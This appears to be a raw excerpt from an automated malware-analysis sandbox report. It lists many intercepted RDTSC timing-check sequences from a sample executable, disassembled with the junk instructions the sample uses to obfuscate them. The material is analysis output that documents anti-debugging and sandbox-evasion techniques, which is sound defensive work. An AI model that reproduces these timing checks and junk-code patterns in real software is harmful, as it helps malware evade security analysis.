Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: F4941A second address: F4943B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F59h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C1043A second address: 4C1043E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C1043E second address: 4C10459 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C10459 second address: 4C10485 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 210C9A6Ah 0x00000008 movsx edx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ecx, dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3DA0D10B49h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C307A9 second address: 4C30818 instructions: 0x00000000 rdtsc 0x00000002 mov dx, F47Eh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movsx edi, cx 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov esi, 03BBDC73h 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F3DA0B69F55h 0x0000001b xchg eax, ecx 0x0000001c pushad 0x0000001d movzx esi, dx 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F3DA0B69F4Eh 0x0000002b sbb ecx, 30B941D8h 0x00000031 jmp 00007F3DA0B69F4Bh 0x00000036 popfd 0x00000037 jmp 00007F3DA0B69F58h 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30818 second address: 4C30851 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F3DA0D10B47h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 mov cl, dh 0x00000012 movzx ecx, di 0x00000015 popad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007F3DA0D10B3Bh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30851 second address: 4C30856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30856 second address: 4C3089F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c pushad 0x0000000d popad 0x0000000e lea eax, dword ptr [ebp-04h] 0x00000011 pushad 0x00000012 movsx edx, cx 0x00000015 push esi 0x00000016 call 00007F3DA0D10B3Bh 0x0000001b pop eax 0x0000001c pop edx 0x0000001d popad 0x0000001e nop 0x0000001f jmp 00007F3DA0D10B44h 0x00000024 push eax 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push edx 0x00000029 pop eax 0x0000002a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30941 second address: 4C309A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3DA0B69F52h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F3DA0B69F4Bh 0x0000000f adc eax, 65FEF9AEh 0x00000015 jmp 00007F3DA0B69F59h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e cmp dword ptr [ebp-04h], 00000000h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F3DA0B69F58h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C309A6 second address: 4C309AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C309AA second address: 4C309B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C309B0 second address: 4C309C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DA0D10B3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30A2E second address: 4C30A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30A34 second address: 4C30A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3DA0D10B47h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30A62 second address: 4C30A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DA0B69F54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30A7A second address: 4C30A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30A7E second address: 4C2001B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a mov dx, AD80h 0x0000000e mov bx, 21ACh 0x00000012 popad 0x00000013 retn 0004h 0x00000016 nop 0x00000017 sub esp, 04h 0x0000001a xor ebx, ebx 0x0000001c cmp eax, 00000000h 0x0000001f je 00007F3DA0B6A0AAh 0x00000025 mov dword ptr [esp], 0000000Dh 0x0000002c call 00007F3DA4AF60E1h 0x00000031 mov edi, edi 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F3DA0B69F57h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C2001B second address: 4C20021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20021 second address: 4C20025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20025 second address: 4C200ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov al, B7h 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ecx 0x00000012 mov dx, 6EDEh 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F3DA0D10B42h 0x00000020 add ax, DBA8h 0x00000025 jmp 00007F3DA0D10B3Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F3DA0D10B48h 0x00000031 adc ecx, 591B4E08h 0x00000037 jmp 00007F3DA0D10B3Bh 0x0000003c popfd 0x0000003d popad 0x0000003e xchg eax, ebp 0x0000003f jmp 00007F3DA0D10B46h 0x00000044 mov ebp, esp 0x00000046 jmp 00007F3DA0D10B40h 0x0000004b sub esp, 2Ch 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 mov eax, ebx 0x00000053 pushfd 0x00000054 jmp 00007F3DA0D10B49h 0x00000059 jmp 00007F3DA0D10B3Bh 0x0000005e popfd 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C200ED second address: 4C200F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C200F3 second address: 4C20111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3DA0D10B3Ch 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20111 second address: 4C20115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20115 second address: 4C2011B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C2011B second address: 4C20146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 movsx edi, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, edi 0x0000000d pushad 0x0000000e mov bh, B3h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 mov dh, 4Bh 0x00000015 mov esi, 691A970Bh 0x0000001a popad 0x0000001b xchg eax, edi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3DA0B69F4Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C201B0 second address: 4C201C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C201C8 second address: 4C20279 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b jmp 00007F3DA0B69F4Fh 0x00000010 inc ebx 0x00000011 pushad 0x00000012 jmp 00007F3DA0B69F54h 0x00000017 pushfd 0x00000018 jmp 00007F3DA0B69F52h 0x0000001d add eax, 60239828h 0x00000023 jmp 00007F3DA0B69F4Bh 0x00000028 popfd 0x00000029 popad 0x0000002a test al, al 0x0000002c jmp 00007F3DA0B69F56h 0x00000031 je 00007F3DA0B6A188h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov bx, E2A0h 0x0000003e pushfd 0x0000003f jmp 00007F3DA0B69F59h 0x00000044 sub cl, FFFFFFA6h 0x00000047 jmp 00007F3DA0B69F51h 0x0000004c popfd 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20279 second address: 4C2027F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20304 second address: 4C20308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20308 second address: 4C20323 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20323 second address: 4C20397 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3DA0B69F57h 0x00000011 sub ecx, 30D87FBEh 0x00000017 jmp 00007F3DA0B69F59h 0x0000001c popfd 0x0000001d movzx ecx, bx 0x00000020 popad 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F3DA0B69F56h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20397 second address: 4C2039D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C2039D second address: 4C203A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20454 second address: 4C204EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F3DA0D10B40h 0x00000011 jne 00007F3E11B8EB5Ah 0x00000017 pushad 0x00000018 mov edi, eax 0x0000001a mov di, si 0x0000001d popad 0x0000001e mov ebx, dword ptr [ebp+08h] 0x00000021 jmp 00007F3DA0D10B44h 0x00000026 lea eax, dword ptr [ebp-2Ch] 0x00000029 pushad 0x0000002a push esi 0x0000002b movsx ebx, si 0x0000002e pop ecx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F3DA0D10B45h 0x00000036 adc ax, 14F6h 0x0000003b jmp 00007F3DA0D10B41h 0x00000040 popfd 0x00000041 push ecx 0x00000042 pop ebx 0x00000043 popad 0x00000044 popad 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F3DA0D10B44h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C204EF second address: 4C204F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C204F5 second address: 4C20525 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 call 00007F3DA0D10B49h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edx, si 0x00000016 mov esi, 15EFF5BBh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20525 second address: 4C2057E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3DA0B69F57h 0x00000009 and ax, D59Eh 0x0000000e jmp 00007F3DA0B69F59h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop edx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, esi 0x0000001a jmp 00007F3DA0B69F4Ah 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F3DA0B69F4Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C2057E second address: 4C20584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20AD3 second address: 4C20AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20AD7 second address: 4C20ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20ADD second address: 4C20B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3DA0B69F4Bh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F3DA0B69F56h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3DA0B69F57h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20B29 second address: 4C20B2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20B2F second address: 4C20B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20B33 second address: 4C20B71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AF459Ch], 05h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007F3DA0D10B46h 0x0000001a or eax, 4711F438h 0x00000020 jmp 00007F3DA0D10B3Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20B71 second address: 4C20B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20B77 second address: 4C20B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20B7B second address: 4C20B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20BC5 second address: 4C20BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20BC9 second address: 4C20BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20CA8 second address: 4C20CAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20CAC second address: 4C20CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C20CB2 second address: 4C20CDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test al, al 0x0000000c pushad 0x0000000d movzx ecx, di 0x00000010 pushad 0x00000011 mov dx, E280h 0x00000015 movsx edi, cx 0x00000018 popad 0x00000019 popad 0x0000001a je 00007F3E11B747EFh 0x00000020 pushad 0x00000021 movzx esi, dx 0x00000024 push eax 0x00000025 push edx 0x00000026 movsx edi, ax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30AB9 second address: 4C30ABE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30ABE second address: 4C30AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3DA0D10B3Dh 0x0000000a sub ch, FFFFFFE6h 0x0000000d jmp 00007F3DA0D10B41h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3DA0D10B3Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30AF7 second address: 4C30B76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, 9Eh 0x0000000d call 00007F3DA0B69F51h 0x00000012 movzx eax, bx 0x00000015 pop ebx 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F3DA0B69F56h 0x00000020 add esi, 19C99548h 0x00000026 jmp 00007F3DA0B69F4Bh 0x0000002b popfd 0x0000002c pushad 0x0000002d movzx esi, di 0x00000030 mov ah, dh 0x00000032 popad 0x00000033 popad 0x00000034 xchg eax, esi 0x00000035 pushad 0x00000036 call 00007F3DA0B69F54h 0x0000003b mov di, si 0x0000003e pop esi 0x0000003f popad 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30B76 second address: 4C30B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30B7A second address: 4C30B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30B80 second address: 4C30BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B40h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ecx, 0864554Dh 0x00000010 call 00007F3DA0D10B3Ah 0x00000015 pushfd 0x00000016 jmp 00007F3DA0D10B42h 0x0000001b xor esi, 347E3F98h 0x00000021 jmp 00007F3DA0D10B3Bh 0x00000026 popfd 0x00000027 pop ecx 0x00000028 popad 0x00000029 mov esi, dword ptr [ebp+0Ch] 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30BD5 second address: 4C30BDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30BDB second address: 4C30C15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c mov cl, 13h 0x0000000e jmp 00007F3DA0D10B41h 0x00000013 popad 0x00000014 je 00007F3E11B6E2E4h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30C15 second address: 4C30C28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0B69F4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30C28 second address: 4C30C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30C2E second address: 4C30C6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AF459Ch], 05h 0x0000000f jmp 00007F3DA0B69F57h 0x00000014 je 00007F3E119DF789h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3DA0B69F50h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30C6E second address: 4C30C7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DA0D10B3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30E52 second address: 4C30E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30E58 second address: 4C30E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30E5E second address: 4C30E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 4C30E62 second address: 4C30E66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5B0DDB7 second address: 5B0DDC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F3DA0B69F46h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8B850 second address: 5C8B85A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3DA0D10B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8AB83 second address: 5C8AB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8AB89 second address: 5C8AB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	RDTSC instruction interceptor: First address: 5C8ACCD second address: 5C8ACD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
